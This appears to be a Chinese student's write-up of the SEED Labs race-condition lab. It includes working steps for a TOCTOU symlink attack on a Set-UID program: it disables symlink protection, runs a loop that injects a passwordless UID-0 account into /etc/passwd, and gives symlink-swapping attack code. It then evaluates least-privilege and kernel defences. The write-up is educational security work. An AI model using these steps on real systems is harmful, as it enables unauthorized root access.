[seed-labs] 竞争条件漏洞实验
文章目录
实验目的
- 复习上课所学的知识并应用他们
- 竞争条件漏洞
- 粘滞符号链接保护
- 最小权限原则
- 在本次实验中,我们会得到一个包含竞争条件漏洞的程序,我们需要开发一种利用漏洞并获得root权限的方案
- 除了攻击意外,我们还需要了解几种对抗竞争条件攻击的保护方案,并评估他们是否有效
实验过程
环境设置
-
在官方网站上下载并解压好实验环境
-
关闭内置防止竞争条件攻击的保护措施。
#该方案工作方式是限制符号链接的跟随者。 #我们是Ubuntu20.04,使用命令禁用保护 sudo sysctl -w fs.protected_symlinks=0 sudo sysctl fs.protected_regular=0
-
漏洞程序
//vulp.c #include<stdio.h> #include<unistd.h> int main(){ char* fn ="/tmp/XYZ"; char buffer[60]; FILE *fp; /*get user input*/ scanf("%50s",buffer); if(!access(fn,W_OK)){ fp=fopen(fn,"a+"); fwrite("\n",sizeof(char),1,fp); fwrite(buffer,sizeof(char),strlen(buffer),fp); fclose(fp); } else printf("No permission \n"); }
-
//编译代码并将器二进制文件转换为root所有的Set-UID程序 gcc vulp.c -o vulp sudo chown root vulp sudo chmod 4755 vulp
Task 1:选择目标
-
知识点:
#root用户条目 #root 口令字段 用户ID字段 root:x:0:0:root:/root:/bin/bash #将x的位置修改为pwd字段(是SHA512) #如这里是SHA512(dees)
详情见影子文件内容解析
-
任务
#打开shadow文件 sudo vim /etc/passwd #添加口令 test:U6aMy0wojraho:0:0:test:/root:/bin/bash #查看当前用户 whoami #更改账户 su test #选择直接按空格不输入密码 whoami
成功键入
-
删除条目后再次尝试
Task 2:发起竞争条件攻击
Task 2.A:模拟一个缓慢的机器
-
任务
-
我们打开文件target_process.sh
#!/bin/bash CHECK_FILE="ls -l /etc/passwd" #首先这里表示展示文件的权限 old=$($CHECK_FILE) new=$($CHECK_FILE) while [ "$old" == "$new" ] #如果新旧文件相同的话 do echo "hello" | ./vulp #输出hello并继续编译 new=$($CHECK_FILE) #不同则保存结束 done echo "STOP... The passwd file has been changed" #保证你有十秒的输出时间,成功后输出该语句
#添加语句 sleep(10); #重新编译 gcc vulp.c -o vulp #执行 ./vulp #根据提示使用符号链接 #我们这里可以把刚才的/etc/passwd偷偷改过来以保证获得该文件的访问权 ln -sf /etc/passwd /tmp/XYZ ls -ld /tmp/XYZ #切换到特权态 #执行target_process.sh文件 ./target_process.sh
Task 2.B:进行真实攻击
#删除sleep(10);
#attack1.c
#include<stdio.h>
#include<unistd.h>
#include<pthread.h>
//我尝试了多线程
void* hack(void* args) {
char* name = (char*)args;
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
sleep(10);
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
sleep(10);
}
int main(){
pthread_t th;
pthread_create(&th,NULL,hack,NULL);
pthread_join(th, NULL);
return 0;
}
#我们把test用户的密码设施为空密码
#target.sh
HECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new= $($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
#编译
gcc attack1.c -o attack1 -lpthread
sudo chmod 777 target.sh
#运行
./attack
./target.sh
结果不太行
Task 2.C:一种改进的攻击方法
-
很关键的是通过查看我发现文件权限变为root,但阅读实验指导后我意识到很有可能是攻击程序中有竞争条件问题。
-
解决方法是使文件链接操作原子化
-
#define _GNU_SOURCE #include <stdio.h> #include <unistd.h> int main() { unsigned int flags = RENAME_EXCHANGE; unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ"); unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC"); renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags); return 0; }
成功
3.4 Task 3:预防措施
Task 3.A:应用最小权限原则
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
uid_t real_uid = getuid();
uid_t eff_uid = geteuid();
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
/* get user input */
scanf("%50s", buffer);
seteuid(real_uid);
if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
seteuid(eff_uid);
return 0;
}
#编译
gcc new.c -o new
#重新运行攻击程序
./attack2 &
./new_target.sh
!
全部出现无权限显示,这表明我们使用最小权限原则成功;即我们设计为在access之前加入了函数setuid,即在程序中有自己的effective UID,避免权限越界的情况
Task 3.B:使用 Ubuntu 的内置方案
-
#重启保护 sudo sysctl -w fs.protected_symlinks=1 #执行攻击程序 ./attack2 & bash target.sh
-
效果和之前差不多,缓慢显示No permission的字样,只是变得更慢了
-
**1.**保护方式是通过全权限设置,禁止用户态下随意指定文件链接来导致攻击者利用竞争条件进行攻击
-
**2.**局限性是我认为虽然设置更改为了“仅当符号链接位于粘滞位可写目录之外时或当查找者的uid匹配时,或者当目录所有者与符合链接的所有者匹配时,才允许跟踪符号链接”,但是粘滞位只针对目录设置且目录下的目录并不会继承粘滞位权限,因此我的思路是可以通过对一个文件子目录文件的修改和攻击来达到自己的目的
思考题
Q1:
- 我认为不可以,因为首先从用户体验的角度来讲,无论是自定义还是库中的,有许多函数是需要用到系统权限的,不然他会无法运行,如果写一个函数都需要更改一次权限的话会十分繁琐,十分不利于用户体验和执行效率。
- 其次就缓冲区溢出实验的内容来讲,是通过调用了一个不安全函数strcpy()来达到栈溢出并覆盖到返回值,从而达到跳转到我们的可执行栈同时唤起shell,最开始出问题的文件仅仅是以只读模式打开,运行时出错。
- 粘滞位权限对一个文件目录进行保护,目前来看是最省事的做法了(我认为
参考
- http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp